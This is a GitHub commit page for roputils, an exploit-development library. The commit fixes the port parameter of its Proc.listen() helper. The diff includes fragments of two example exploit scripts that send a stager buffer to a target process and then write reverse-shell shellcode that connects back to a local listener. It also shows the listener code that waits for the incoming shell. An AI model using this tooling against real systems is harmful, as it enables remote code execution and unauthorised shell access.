Skip to content

Commit

Permalink
Proc.listen(): fix that port parameter is not used
Browse files Browse the repository at this point in the history
  • Loading branch information
inaz2 committed Oct 6, 2016
1 parent a47e135 commit 3fc0b01
Show file tree
Hide file tree
Showing 3 changed files with 4 additions and 4 deletions.
2 changes: 1 addition & 1 deletion examples/shellcode-i386.py
Expand Up @@ -21,5 +21,5 @@
buf += sc.nopfill(sc.mmap_stager(), 100, buf)

p.write(buf)
with p.listen(4444, is_shell=True) as (host, port):
with p.listen(is_shell=True) as (host, port):
p.write(sc.reverse_shell(host, port))
2 changes: 1 addition & 1 deletion examples/shellcode-x86-64.py
Expand Up @@ -33,5 +33,5 @@

p.write(buf)
p.write_p64(0)
with p.listen(4444, is_shell=True) as (host, port):
with p.listen(is_shell=True) as (host, port):
p.write(sc.reverse_shell(host, port))
4 changes: 2 additions & 2 deletions roputils.py
Expand Up @@ -1333,12 +1333,12 @@ def interact(self, shell_fd=None):
self.close()

@contextmanager
def listen(self, port=4444, is_shell=False):
def listen(self, port=0, is_shell=False):
check_cmd = 'echo "\x1b[32mgot a shell!\x1b[0m"' # green

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('', 0)) # INADDR_ANY, INPORT_ANY
s.bind(('', port))
s.listen(1)

yield s.getsockname()
Expand Down

0 comments on commit 3fc0b01

Please sign in to comment.